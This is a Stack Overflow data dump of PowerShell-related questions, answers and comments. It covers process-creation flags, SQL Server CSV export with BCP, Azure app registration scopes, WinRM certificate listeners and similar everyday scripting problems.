has body: Here are the flags. You want to set the DETACHED_PROCESS flag [Flags] enum CreateProcessFlags : uint { DEBUG_PROCESS = 0x00000001, DEBUG_ONLY_THIS_PROCESS = 0x00000002, CREATE_SUSPENDED = 0x00000004, DETACHED_PROCESS = 0x00000008, CREATE_NEW_CONSOLE = 0x00000010, NORMAL_PRIORITY_CLASS = 0x00000020, IDLE_PRIORITY_CLASS = 0x00000040, HIGH_PRIORITY_CLASS = 0x00000080, REALTIME_PRIORITY_CLASS = 0x00000100, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_UNICODE_ENVIRONMENT = 0x00000400, CREATE_SEPARATE_WOW_VDM = 0x00000800, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_FORCEDOS = 0x00002000, BELOW_NORMAL_PRIORITY_CLASS = 0x00004000, ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000, INHERIT_PARENT_AFFINITY = 0x00010000, INHERIT_CALLER_PRIORITY = 0x00020000, CREATE_PROTECTED_PROCESS = 0x00040000, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000, PROCESS_MODE_BACKGROUND_END = 0x00200000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NO_WINDOW = 0x08000000, PROFILE_USER = 0x10000000, PROFILE_KERNEL = 0x20000000, PROFILE_SERVER = 0x40000000, CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000, }
score: 0
answers question: http://stackoverflow.com/q/79374832
has comment: http://stackoverflow.com/comment/139995184
has comment: http://stackoverflow.com/comment/140025005
has comment: http://stackoverflow.com/comment/140013305
has comment: http://stackoverflow.com/comment/140008659
has comment: http://stackoverflow.com/comment/140014471

http://stackoverflow.com/q/79369758
has comment: http://stackoverflow.com/comment/139974938
tagged with: sql-server
has title: Export stored procedure results as CSV (UTF 8 BOM format) to external server from SQL Server 2012
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139967482
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139967459
has comment: http://stackoverflow.com/comment/139967797
has comment: http://stackoverflow.com/comment/139973192
favorite count: 0
tagged with: t-sql
has comment: http://stackoverflow.com/comment/139969262
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139967463
has answer: http://stackoverflow.com/a/79369933
has comment: http://stackoverflow.com/comment/139967686
type: Question
accepted answer: http://stackoverflow.com/a/79369933
has comment: http://stackoverflow.com/comment/139967547
has body: I am able to export the stored procedure results as CSV to the local drive on SQL Server, but I am having difficulty exporting the results to an external server (or shared drive location). I am able to use only BCP command from command prompt but it has limited functionality. Also, the BCP command only exports ASCII. I want to export as UTF-8 BOM format. I have implemented the following methods to export the results as csv: The sp_configure 'xp_cmdshell' is already turned ON Use BCP command from SQL Server: declare @sql varchar(8000) select @sql = 'BCP "EXEC [dbName].[dbo].[StoredProcedureName] @AreaID=NULL" queryout "\\serverlocation\Test\FileExport_Test_1.CSV"-T -S SourceServerName -c -t,' exec master..xp_cmdshell @sql This command is exporting csv when exporting to local server location I get this error when I execute the above command: Error = [Microsoft][SQL Server Native Client 11.0]Unable to open BCP host data-file Use BCP command from Command Prompt. C:\Windows\System32>BCP "EXEC [dbName].[dbo].[StoredProcedureName] @AreaID=NULL" queryout "\\serverlocation\Test\FileExport_Test_1.CSV"-T -S SourceServerName -c -t The file is exported to the external server location but I don't want to use this method as I want to use dynamic filename and pass dynamic parameter values to the stored procedure. Use Powershell: PS SQLSERVER:\> $filename = "\\serverlocation\Test\FileExport_Test_1" Invoke-Sqlcmd -Query "EXEC [dbName].[dbo].[StoredProcedureName] @AreaID=NULL" -ServerInstance "SourceServerName" | Export-Csv -Path "$filename.csv" -NoTypeInformation I get the following error: Export-Csv : Cannot open file because the current provider (Microsoft.SqlServer.Management.PSProvider\SqlServer) cannot open a file. At line:3 char:1 Export-Csv -Path "$filename.csv" -NoTypeInformation CategoryInfo : InvalidArgument: (:) [Export-Csv], PSInvalidOperationException FullyQualifiedErrorId : ReadWriteFileNotFileSystemProvider,Microsoft.PowerShell.Commands.ExportCsvCommand Export the CSV …
answer count: 1
tagged with: sql-server-2012
linked to: http://stackoverflow.com/q/39416316

http://stackoverflow.com/a/79364898
has comment: http://stackoverflow.com/comment/139958561
type: Answer
has body: The module PSParallelPipeline, as suggested by @santiago, is much better suited And it fix (most of) my issues. The delay when using network commands stands. But no need to re-invent the wheel.
has comment: http://stackoverflow.com/comment/139958575
answers question: http://stackoverflow.com/q/79364722
has comment: http://stackoverflow.com/comment/139969925
score: 0
has comment: http://stackoverflow.com/comment/139958534
accepted answer of: http://stackoverflow.com/q/79364722
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139959272

http://stackoverflow.com/comment/139746735
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79248980
has text: Mmm `.Dispose` works fine for me, I'm using this: https://gist.github.com/santisq/f28fa0e8e61c14c15197804dadf5a930 and it's consistently stopping processes and jobs and letting them invoke their `clean`. However if you put something like `Thread.Sleep(-1)` it will of course block forever since it doesnt allow interrupts.

http://stackoverflow.com/comment/139957439
type: QuestionComment
type: Comment
score: 1
has text: @Dimitar I updated the post with the detail. Minimal reproducible example is the link to Microsoft from the post. Once I authenticated to MS Teams by running Connect-MicrosoftTeams, I tried to run Get-CsTenant and getting the Access denied error.
comment on: http://stackoverflow.com/q/79364096

http://stackoverflow.com/comment/140027278
type: AnswerComment
comment on: http://stackoverflow.com/a/79397850
type: Comment
score: 0
has text: @user66001, my sample `$Path` value, due to using a file _name_ only, assumes that the file is either discoverable via `$env:PATH` or located in the current directory. If this doesn't apply to you, specify the (full) _path_ of the executable.

http://stackoverflow.com/comment/139886234
type: AnswerComment
comment on: http://stackoverflow.com/a/79326188
type: Comment
has text: And cli i login with azure login and login with global admin account
score: 0

http://stackoverflow.com/q/79380187
tagged with: powershell
type: UnansweredQuestion
score: 0
type: Question
tagged with: visual-studio-code
duplicate of: http://stackoverflow.com/q/73845252
answer count: 0
has body: Can anyone from the noble circle help me set up Visual Studio Code to be able to debug PowerShell scripts version 5 and 7? I currently have Powershell set up only under PowerShell 7 but I need to switch to PowerShell 5 as well. I would need two profiles, Powershell 5 and PowerShell 5 with parameters. What should I put in settings.json? Below you can see what the setup looks like for PS7, adding something similar to what already exists doesn't work.I would like to force Visual Studio to work with PS5 also. Thank you in advance. Best regards Bartolini "launch": { "configurations": [ { "presentation": { "group": "Powershell" }, "name": "PS: Run", "request": "launch", "script": "${file}", "type": "PowerShell", "cwd": "${file}" }, { "presentation": { "group": "Powershell" }, "args": [ "${command:SpecifyScriptArgs}" ], "cwd": "${file}", "name": "PS: Run w/ Args", "request": "launch", "script": "${file}", "type": "PowerShell" }, { "presentation": { "group": "Powershell" }, "args": [ "${command:SpecifyScriptArgs}" ], "name": "PS: Pester", "request": "launch", "script": "Invoke-Pester", "type": "PowerShell" }, { "presentation": { "group": "Powershell" }, "name": "PS: Attach Process", "processId": "${command:PickPSHostProcess}", "request": "attach", "runspaceId": 1, "type": "PowerShell" }, { "presentation": { "group": "Powershell" }, "name": "PS: Attach Runspace", "processId": "current", "request": "attach", "type": "PowerShell" }, { "presentation": { "group": "Powershell" }, "name": "PS: Interactive", "request": "launch", "type": "PowerShell" } ] },
has title: Visual Studio Code Debug profiles for both PowerShell 5 and 7
tagged with: settings.json
linked to: http://stackoverflow.com/q/73845252

http://stackoverflow.com/comment/140031428
score: 2
comment on: http://stackoverflow.com/a/79401189
type: Comment
has text: @SantiagoSquarzon sorry I wasn't clear: yes that's what I meant, invoking runspace-sourced scripts (as opposed to script files) will never result in exit code
type: AnswerComment

http://stackoverflow.com/comment/140044519
type: Comment
score: 0
has text: I cant answer my question but I finally got this to work. Correct syntax gam csv update.csv gam update user "~email" phone type "home" value "~phone"
comment on: http://stackoverflow.com/q/79409999
type: QuestionComment

http://stackoverflow.com/a/79330628
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139904641
type: Answer
answers question: http://stackoverflow.com/q/79329816
has comment: http://stackoverflow.com/comment/139905441
has comment: http://stackoverflow.com/comment/139904662
has body: As stated in the helpful comments from mklement0: The shebang line is irrelevant in this context Comment-based help doesn't apply to a module but to function (aka command) exported by the module The comment base help might be either prior the concerned function: Remove-Module Get-DisplayDialog -ErrorAction SilentlyContinue { &lt;# .DESCRIPTION This script is a bridge between PowerShell and the AppleScript Choose File UI primitive. It allows the use of the standard macOS Choose File dialog inside a PowerShell script and returns a string array of POSIX-Compliant file paths. #&gt; function Get-DisplayDialog { } Export-ModuleMember -Function Get-DisplayDialog } | Set-Content -Path .\Get-DisplayDialog.psm1 Import-Module .\Get-DisplayDialog.psm1 or embedded in the the top of the function: Remove-Module Get-DisplayDialog -ErrorAction SilentlyContinue { function Get-DisplayDialog { &lt;# .DESCRIPTION This script is a bridge between PowerShell and the AppleScript Choose File UI primitive. It allows the use of the standard macOS Choose File dialog inside a PowerShell script and returns a string array of POSIX-Compliant file paths. #&gt; } Export-ModuleMember -Function Get-DisplayDialog } | Set-Content -Path .\Get-DisplayDialog.psm1 Import-Module .\Get-DisplayDialog.psm1 After pasting either of the examples above into a PowerShell host or terminal, you might get the help of the specific exported function: Get-Help Get-DisplayDialog NAME Get-DisplayDialog SYNOPSIS SYNTAX Get-DisplayDialog [&lt;CommonParameters&gt;] DESCRIPTION This script is a bridge between PowerShell and the AppleScript Choose File UI primitive. It allows the use of the standard macOS Choose File dialog inside a PowerShell script and returns a string array of POSIX-Compliant file paths. ... There are two pitfalls to mention here that might have lead to some confusion: If the module is already imported and loaded, you will need to remove it (Remove-Module Get-DisplayDialog -ErrorAction SilentlyContinue) or ope…
score: 2

http://stackoverflow.com/q/79295854
score: 0
type: UnansweredQuestion
tagged with: naudio
has answer: http://stackoverflow.com/a/79295885
type: Question
tagged with: powershell
has title: NAudio and Powershell
has body: Has anybody tried to use NAudio and recording directly in Powershell? I tried to translate teh C# code into powershell.. most of that works but I'm strugling to translate this in Powershell: waveIn.DataAvailable += (s, e) => { waveFile.Write(e.Buffer, 0, e.BytesRecorded); }; Any Idea? In general.. I want to translate this c# code into powershell: using System; using NAudio.Wave; namespace RecordAudioCSharpNAudio { class Program { static void Main(string[] args) { Console.WriteLine("Please enter a filename"); string filename = Console.ReadLine(); filename += ".wav"; Console.WriteLine("Press any key to start recording..."); Console.ReadKey(); var waveFormat = new WaveFormat(44100, 1); using (var waveFile = new WaveFileWriter(filename, waveFormat)) { using (var waveIn = new WaveInEvent()) { waveIn.WaveFormat = waveFormat; waveIn.DataAvailable += (s, e) => { waveFile.Write(e.Buffer, 0, e.BytesRecorded); }; waveIn.StartRecording(); Console.WriteLine("Recording... Press any key to stop."); Console.ReadKey(); waveIn.StopRecording(); Console.WriteLine("Recording stopped."); } } Console.WriteLine("Audio recorded and saved as " + filename); } } }
tagged with: c#
answer count: 1

http://stackoverflow.com/q/79278871
tagged with: powershell
answer count: 1
tagged with: ssl-certificate
has title: How can I update certificates on winrm when there are two HTTPS listeners?
tagged with: ssl
has answer: http://stackoverflow.com/a/79279625
type: UnansweredQuestion
score: 0
tagged with: winrm
type: Question
has body: I have two HTTPS listeners (One Compatibility) on winrm as follows: Listener Address = * Transport = HTTPS Port = 5986 Hostname = <hostname here> Enabled = true URLPrefix = wsman CertificateThumbprint = <thumb here> ListeningOn = <not important> Listener [Source="Compatibility"] Address = * Transport = HTTPS Port = 443 Hostname = <hostname here> Enabled = true URLPrefix = wsman CertificateThumbprint = <thumb here> ListeningOn = <same as above not important> I can update the certificate just fine for the 5986 Listener, but when I try to update the 443 listener there seems to be no way to specify the port. Since the address and the transport are the same, I'm unsure how else I can get the Listener I want. I've tried some of the following: Invalid use of command line error: winrm set winrm/config/Listener?Address=*+Transport=HTTPS+Port=443 @{CertificateThumbprint="<Thumbprint>"} These don't work, but I didn't delete the old one before running create as I want to update in place: winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@{Hostname="<hostname>"; CertificateThumbprint="<Thumbprint>"; Port=443}' winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@{Hostname="<hostname>"; CertificateThumbprint="<Thumbprint>"; Port="443"}' No Error using the listener name, but didn't update the cert when running Get-Item to confirm Set-Item WSMan:\localhost\Listener\Listener_874393735\CertificateThumbprint -Value <Thumbprint> Set-Item WSMan:\localhost\Listener\Listener_874393735\CertificateThumbprint -Value "<Thumbprint>" Error Message: This resource requires the following selectors: Address Transport Set-WSManInstance -ResourceURI winrm/config/Listener -SelectorSet @{Address="*"; Transport="HTTPS";Port="443"} -ValueSet @{CertificateThumbprint=$certThumb} So after all that my question is two fold. Is having two HTTPS listeners even a valid configuration that is supported? If so, how do I go about updating the Compatibility cert?

http://stackoverflow.com/comment/139747105
type: QuestionComment
type: Comment
score: 0
has text: Rename-Item can receive from pipeline, so no need to use `| % {}`
comment on: http://stackoverflow.com/q/79248512

http://stackoverflow.com/comment/140090095
type: Comment
has text: So the values of interest are in the object that comes right after the one whose `entityType` value is `IHUR`?
score: 0
comment on: http://stackoverflow.com/q/79416406
type: QuestionComment

http://stackoverflow.com/a/79326188
has comment: http://stackoverflow.com/comment/139886184
has comment: http://stackoverflow.com/comment/139886245
has comment: http://stackoverflow.com/comment/139897802
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139886062
has comment: http://stackoverflow.com/comment/139886176
has comment: http://stackoverflow.com/comment/139897827
has comment: http://stackoverflow.com/comment/139886187
type: Answer
has comment: http://stackoverflow.com/comment/139898000
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139886220
answers question: http://stackoverflow.com/q/79320969
has comment: http://stackoverflow.com/comment/139886130
score: 2
has comment: http://stackoverflow.com/comment/139886234
has body: Note that: The "Expose an API" permissions are located in api.oauth2PermissionScopes as an array. And az ad app update does not include the oauth2permissions. Refer this SO Thread by A2AdminGuy. Hence to create the scope and expose an API make use of below script: # Step 1: Create an app registration $appregname = "RukCliApp" $clientid = $(az ad app create --display-name $appregname --query appId --output tsv) # Step 2: Add API Permissions (Example: Microsoft Graph API) az ad app permission add --id $clientid --api 00000003-0000-0000-c000-000000000000 --api-permissions e1fe6dd8-ba31-4d61-89e7-88639da4683d=Scope # Step 3: Add the Identifier URI (for API exposure) az ad app update --id $clientid --identifier-uris "api://$clientid" # Step 4: Create the service principal for the app registration az ad sp create --id $clientid --output tsv # Step 5: Generate a new GUID for your API scope (OAuth2 Permission) $scopeGUID = [guid]::NewGuid() # Step 6: Define the permission scope (OAuth2 Permission) $permission = @{ adminConsentDescription = "Allow the app to access API endpoints" adminConsentDisplayName = "web_api" id = "$scopeGUID" isEnabled = $true type = "Admin" userConsentDescription = "null" userConsentDisplayName = "null" value = "web_api" } # Step 7: Retrieve the app's object ID using Azure CLI $AppObjId = (az ad app show --id $clientid | ConvertFrom-Json).objectId # Step 8: Get the access token for Microsoft Graph API using Azure CLI $accesstoken = (az account get-access-token --resource "https://graph.microsoft.com/" --query "accessToken" -o tsv) # Step 9: Prepare the headers for the PATCH request to Microsoft Graph $header = @{ 'Content-Type' = 'application/json' 'Authorization' = 'Bearer ' + $accesstoken } # Step 10: Prepare the request body with the new OAuth2 permission scope $bodyaccess = @{ 'api' = @{ 'oauth2PermissionScopes' = @($permission) } } | ConvertTo-Json -Depth 3 # Step 11: Send the PATCH request to update the app registration with the new permission …
has comment: http://stackoverflow.com/comment/139886259
has comment: http://stackoverflow.com/comment/139886097
accepted answer of: http://stackoverflow.com/q/79320969
has comment: http://stackoverflow.com/comment/139886227
has comment: http://stackoverflow.com/comment/139886196

http://stackoverflow.com/comment/140163765
has text: Michael, I sincerely appreciate your detail in this answer, it was exactly what my initial statement/question was targeting. You, good Sir, are a God send, and with this I can now restore self-elevating function to my scripts. Thank you!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79419921
type: AnswerComment

http://stackoverflow.com/comment/140031457
comment on: http://stackoverflow.com/a/79401189
has text: @MathiasR.Jessen no worries ^_^ I got a working solution without realizing why it worked hehe so your comment helped
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/79245269
downvote count: 1
type: Answer
upvote count: 0
score: -1
has comment: http://stackoverflow.com/comment/139742779
answers question: http://stackoverflow.com/q/79245262
has body: parameters: -name: env displayName: Enviornment type: string default: dev values: -dev -qa -prod variables: -group: ${{format('{0}Variables', parameters.env}} - task: AzureKeyVault@2 inputs: azureSubscription: $(azureSubscription) KeyVaultName: 'abc-$(env)' SecretFilter: 'secret-$(env)' RunAsPreJob: false - task: AzurePowershell@5 inputs: azureSubscription : $(azureSubscription) ScriptType: 'InlineSciprt' Inline: | $devkey = $(secret-$(env)) $storageContext = New-AzStorageContext -StorageAccountName $(StorageAccountName) -StorageAccountKey $(devkey) (..) 5&gt;,,,&lt;321?Numero)1
has comment: http://stackoverflow.com/comment/139739267

http://stackoverflow.com/comment/139982752
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79375196
type: QuestionComment
has text: Replying to the double use of ConvertTo-Json, if I only do it once, the payload showin in the debug for az ad app update looks like ```{"api": "{oauth2PermissionScopes:[{adminConsentDescription:user impersonation,adminConsentDisplayName:user_impersonation,id:xxxxxx,isEnabled:true,type:User,userConsentDescription:user impersonation,userConsentDisplayName:user_impersonation,value:user_impersonation}]}"}``` which is obviously not valid and is returned with a 400

http://stackoverflow.com/comment/140000720
type: AnswerComment
comment on: http://stackoverflow.com/a/79387067
type: Comment
has text: @Gordon: If you're running in the ISE as the same user, I have no explanation - I don't see the same problem (even 32-bit vs. 64-bit process doesn't seem to make a difference). As an - awkward, per-script - workaround, you can try placing `[cultureinfo]::CurrentCulture = Get-ItemPropertyValue 'HKCU:\Control Panel\International' LocaleName` a the top of your scripts. Do `Get-Culture`, `[cultureinfo]::CurrentCulture` and the `Get-ItemPropertyValue` call all reflect the correct or incorrect culture?
score: 1

http://stackoverflow.com/comment/139999837
comment on: http://stackoverflow.com/q/79383011
score: 0
has text: Does this also happen if you simplify your code like `Get-PrintJob -ComputerName $machine -PrinterName $printer | Sort-Object SubmittedTime -Descending` ?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79246073
answers question: http://stackoverflow.com/q/79246029
upvote count: 3
has body: No public APIs you can subscribe to from the Job side, you can thru reflection get the currently running pipeline and from there subscribe to StateChanged: $tmp = New-TemporaryFile $job = Start-Job { $tmp = $using:tmp.FullName $method = [runspace].GetMethod( 'GetCurrentlyRunningPipeline', [System.Reflection.BindingFlags] 'NonPublic, Instance') $obj = $method.Invoke([runspace]::DefaultRunspace, $null) $null = Register-ObjectEvent -InputObject $obj -EventName StateChanged -Action { param( [System.Management.Automation.Runspaces.Pipeline] $s, [System.Management.Automation.Runspaces.PipelineStateEventArgs] $e) if ($e.PipelineStateInfo.State -eq 'Stopping') { "Job was stopped at $([datetime]::Now)" | Set-Content $tmp } } Start-Sleep 5 } Start-Sleep 1 $job | Stop-Job -PassThru | Remove-Job Get-Content $tmp.FullName $tmp.Delete()
score: 3
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139851926
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
type: Comment
has text: @AmigoJack, I forgot to mention that it is also bundled with Windows 7, which the question mentions as a requirement, so these solutions work just fine in Windows 7 and above. To summarize: the solutions in this answer are valid `cmd.exe` (batch-file) solutions that rely only on a call to an external executable that _ships with Windows_ (including .NET Framework), even in the no longer supported Windows 7, and as far back as the long-obsolete v2 of PowerShell (which Windows 7 originally came with, but since SP1 even the latest and _last_ Windows PowerShell version, v5.1, was supported).

http://stackoverflow.com/comment/139814208
has text: Your use is correct: `Tee-Object` should take the Success Stream(aka stdOut), print it to the indicated file, and then pass it down through the pipeline which would, generally, mean being printed on-screen if nothing else is involved. Have you tried with another program(as it might be an issue with your program)? for example `ping.exe -n 1 google.com|Tee-Object .\test.txt`. As alternative, try to pipe to `Write-Output` after `Tee-Object`
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/79286923
type: Comment

http://stackoverflow.com/comment/139746984
type: Comment
comment on: http://stackoverflow.com/q/79249642
score: 4
has text: It is a known issue: https://superuser.com/questions/1804603/powershell-get-childitem-asterisk-wildcard-in-path-strange-behaviour-when-us https://github.com/PowerShell/PowerShell/issues/9014
type: QuestionComment

http://stackoverflow.com/q/79256764
downvote count: 0
answer count: 1
tagged with: powershell
linked to: http://stackoverflow.com/q/69791276
linked to: http://stackoverflow.com/q/68555313
tagged with: function
type: AnsweredQuestion
has body: This function: function Get-UserNameSIDfromAD { param( [string] $LoginName ) [string] $domain [string] $username $domain, $username = $LoginName.split('\') $w32usracc = Get-CimInstance -ClassName win32_useraccount -Filter "Name='$username' and Domain='$domain'" | Select-Object -Property SID $res = [pscustomobject] @{ ID = 1 SqlSID = $w32usracc.SID Message = 'OK' } return $res } #Using the function and get the result in variable and show using out-gridview $val = Get-UserNameSIDfromAD -LoginName 'mydomain\user1' $val | out-gridview Grid shows incorrectly the information, if run the code without function, the grid shows information correctly. Please any advice, thank in advance.
upvote count: 1
favorite count: 0
has title: Powershell function return pscustomobject out-gridview show incorrectly results
has answer: http://stackoverflow.com/a/79258281
tagged with: out-gridview
score: 1
accepted answer: http://stackoverflow.com/a/79258281
tagged with: return-value
has comment: http://stackoverflow.com/comment/139759540
type: Question

amazon-fsx
tags question: http://stackoverflow.com/q/79267160
tag name: amazon-fsx
type: Tag

http://stackoverflow.com/q/79409855
has comment: http://stackoverflow.com/comment/140064890
has answer: http://stackoverflow.com/a/79420718
has comment: http://stackoverflow.com/comment/140044264
has body: I am attempting to run a CustomScriptExtension through terraform that will mount the data disks, and extend the C drive if need be. However, i cannot seem to get the file to pass and execute on the VM. The customscript powershell script is located in a folder in the same directory as the terraform configuration files, below is the custom script to grab the data disks and mount them on a windows VM. ./CustomScripts/CustomScriptDataDisks.ps1 #Custom script to perform format on data disks, assign letter and name based on disk lun Set-StrictMode -Version 3 try { Write-Output "Change CD drive letter to W" Write-Verbose -Message "[Start]::Changing CD drive letter to W..." $CDDrive = Get-WmiObject -Class Win32_volume -Filter "DriveType = '5'" if ($CDDrive) {$CDDrive | Set-WmiInstance -Arguments @{DriveLetter = 'W:'}} Write-Verbose -Message "[Finish]::Changed CD drive letter to W" #Extend C drive if necessary $CPartition = Get-Partition -DriveLetter C $CSupportedSize = Get-PartitionSupportedSize -DriveLetter C if ($CSupportedSize.SizeMax -gt $CPartition.Size) { Resize-Partition -DriveLetter C -Size $CSupportedSize.SizeMax } Write-Output "Initializing Disks" $disks = Get-Disk | Where-Object partitionstyle -eq 'raw' | Sort-Object number if ($disks) { #Format disks $i = 70 $DiskCount = 1 foreach ($disk in $disks) { $DiskLUN = [int]([regex]::Match($disk.Path, "[#]{1}\d{1,}[#]{1}").Value.Replace("#", "")) if ($DiskLUN -lt 19 -or $DiskLUN -gt 39) { $diskID = [string]$DiskCount $diskLabel = $env:COMPUTERNAME + "-DataDisk-" + $DiskID $diskLetter = [char]$i #Mount Disks $disk | Initialize-Disk -PartitionStyle GPT -PassThru | New-Partition -UseMaximumSize -DriveLetter $diskLetter | Format-Volume -FileSystem NTFS -NewFileSystemLabel $diskLabel -Confirm:$false -Force $i++; $DiskCount++ } if ($DiskLUN -gt 19 -and $DiskLUN -lt 30) { $i = 76 $DiskCount = 1 $diskID = [string]$DiskCount $diskLabel = $env:COMPUTERNAME + "-LogDisk-" + $DiskID $diskLetter = [char]$i #Mount Disks $disk | Initia…
score: 0
has comment: http://stackoverflow.com/comment/140044480
type: UnansweredQuestion
tagged with: terraform-provider-azure
type: Question
tagged with: powershell
answer count: 1
tagged with: azure-rm
has title: Run a PowerShell Azure CustomScriptExtension through Terraform
tagged with: azure
tagged with: terraform

http://stackoverflow.com/q/79295280
has title: is there an 'or' feature with powershell wildcards?
accepted answer: http://stackoverflow.com/a/79295367
type: Question
downvote count: 0
has body: I am trying to figure out if it possible to match mkv or mp4 with get-childItem. Looking at the about_wildcards page there does not seem to be specific mentions of "or". I tried anyways: get-ChildItem -path 'c:/temp' -File -Filter '[*mkv][*mp4]' get-ChildItem -path 'c:/temp' -File -Filter '[*mkv][*mp4]?' get-ChildItem -path 'c:/temp' -File -Filter '[*mkv]?[*mp4]?' the "temp" directory has mp4 and mkv files in it, so I am expecting the above to return them...but I get nothing. I know this is a trivial matter with something like -match or where-object but I am looking to take advantage of wildcards as it would mean I can do everything in one call. Am looking so know if such a is even possible with pwsh wildcards. I am on pwsh 7.4
answer count: 1
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139829383
has comment: http://stackoverflow.com/comment/139829853
tagged with: powershell
type: AnsweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/79295367

http://stackoverflow.com/q/79363438
answer count: 3
has body: I have a series of PDFs on disk, some of which are PDF/A's. I would like to identify which are PDF/A's, and potentially extract any PDF/A-specific metadata. I am using powershell to pull the metadata into a csv, but I am not sure what a good approach is to extract the info of interest. I found PDFtk and ExifTool, which look like they will work, but was wondering if powershell is enough on it's own? I don't want to build a PDF reader, and am happy to lean on 3rd party tools if powershell is a bad fit. I don't have info to help me trim down the search space, so will have to process all the PDFs. I have approx. 0.5TB to process, with PDF size ranging from kB to GB, with avg size at around 10MB.
has comment: http://stackoverflow.com/comment/139972153
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79363462
has comment: http://stackoverflow.com/comment/139955670
possible better answer: http://stackoverflow.com/a/79363462
downvote count: 0
has answer: http://stackoverflow.com/a/79364179
accepted answer: http://stackoverflow.com/a/79363713
score: 1
has answer: http://stackoverflow.com/a/79363713
upvote count: 1
tagged with: http://stackoverflow.com/tag/pdf
favorite count: 0
type: Question
has title: How to identify if a PDF file is a PDF/A?

http://stackoverflow.com/comment/139826370
comment on: http://stackoverflow.com/q/79286482
score: 0
type: QuestionComment
type: Comment
has text: @TanakaSaito that `ExtendedProperty('System.Link.TargetParsingPath')` requirement should be in the question, because the answers would be different

http://stackoverflow.com/comment/140021085
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79395776
score: 0
has text: @Theo I have completely removed the log section (try catch section) but I still get error

http://stackoverflow.com/comment/139873300
has text: That is correct, I found it in some other fora. Now, I do not use the parameter anymore.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79287969
type: QuestionComment

http://stackoverflow.com/comment/139941413
type: Comment
comment on: http://stackoverflow.com/a/79347074
score: 0
type: AnswerComment
has text: Much appreciated sir!

http://stackoverflow.com/a/79349447
score: 1
upvote count: 1
has body: See the API documentation, they never state that filtering on ipAddress is supported: Indicates information about the user or app initiated the activity. Supports $filter (eq) for user/id, user/displayName, user/userPrincipalName, app/appId, app/displayName; and $filter (startswith) for user/userPrincipalName. If you want to filter by ipAddress server side you can do so via KQL query to AuditLogs table assuming you're storing the logs in Log Analytics or Azure Data Explorer, i.e.: AuditLogs | where initiatedBy.user.ipAddress == "$IpAddress"
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79349429

http://stackoverflow.com/a/79302035
has comment: http://stackoverflow.com/comment/139841840
has comment: http://stackoverflow.com/comment/139852422
has comment: http://stackoverflow.com/comment/139855040
has body: After lots of swapping of versions, building, rebuilding, publishing and testing I finally found a working solution in both Powershell 5.1 and 7.4 So first, to target and test PS5.1 I changed framework to netstandard2.0 (I decided that I wanted the cmdlet to work there as well) I then published the solution which compiled it including the needed assemblies which also included System.Security.Cryptography.ProtectedData.dll Using v9.0 of ProtectedData worked with PS5.1 but would not work with PS7 I found that PS7 is using v8.0 so not sure if that has something to do with it not working [System.Security.Cryptography.ProtectedData] | select Assembly Assembly -------- System.Security.Cryptography.ProtectedData, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Updating the project to use version 8.0 System.Security.Cryptography.ProtectedData, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a is working with both 5.1 and 7.4 netstandard2.0 <PackageReference Include="PowerShellStandard.Library" Version="5.1.1" /> <PackageReference Include="System.Security.Cryptography.ProtectedData" Version="8.0.0" />
answers question: http://stackoverflow.com/q/79301601
score: 0
type: Answer

http://stackoverflow.com/comment/139796420
has text: If you have wireshark installed, you can use the command line tshark to capture a connection to your server, and then inspect the traffic to get the "ground truth". I used a few code snippets from my previous project and blended them together with Claude, which is not able to be posted on SO, but I've shared it here: https://gist.github.com/Mike-Crowley/4aa9d0913ef0518e79034e5cdc56daf4
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79276781

http://stackoverflow.com/q/79283348
possible better answer: http://stackoverflow.com/a/79283419
answer count: 2
has answer: http://stackoverflow.com/a/79283419
type: Question
tagged with: powershell
type: AnsweredQuestion
has body: Can someone help me figure out how to unpivot Import-Excel data so the columns can be expanded as individual row entries? This is really more of a question of how to re-render the custom PSObjects that go into the array. More details: I am pulling data out of several Excel spreadsheets using Import-Excel and Powershell. These are bimonthly timesheets by employee, and the columns are the dates within the month in question. I want to unpivot the columns so I can write these to SQL as transactions per date, per project (by the employee on the timesheet). I'm having trouble visualizing my next step. The format of each spreadsheet looks something like this (for November 2024, first half): If this header starts at (e.g.) row 7 of the spreadsheet, I can pull the core project data as follows: $data = Import-Excel -Path $excelFilePath -Sheet "sheet1" -StartRow 7 At this point if I have the SQLServer module, I could write the entries as is to SQL as follows: $data | Write-SqlTableData -ServerInstance "myserver" -DatabaseName "mydatabase" -TableName "testTimesheetEntries" -Force That will give me some 1:1 entries in SQL, which is a great start: If I look at $data[0] I have this: PROJECT NUMBER : xx1 PROJECT NAME : some project 1 : 2 : 3 : 4 : 2 5 : 6 : 7 : 1 8 : 